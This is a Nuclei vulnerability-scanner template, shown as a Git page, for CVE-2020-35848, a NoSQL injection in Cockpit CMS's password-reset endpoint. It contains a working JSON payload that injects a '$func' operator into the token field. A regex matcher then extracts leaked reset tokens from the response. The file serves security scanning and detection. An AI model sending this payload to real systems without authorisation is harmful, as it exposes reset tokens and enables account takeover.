nuclei-templates/cves/2020/CVE-2020-35848.yaml

30 lines
702 B
YAML
Raw Normal View History

2021-04-13 19:30:08 +00:00
id: CVE-2020-35848
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/newpassword
author: dwisiswant0
severity: critical
description: |
newpassword method of the Auth controller,
which is responsible for displaying the user password reset form.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli
requests:
- method: POST
path:
- "{{BaseURL}}/auth/newpassword"
headers:
Content-Type: application/json
body: |
{
"token": {
"$func": "var_dump"
}
}
2021-04-13 20:07:04 +00:00
2021-04-13 19:30:08 +00:00
matchers:
- type: regex
part: body
regex:
- 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"'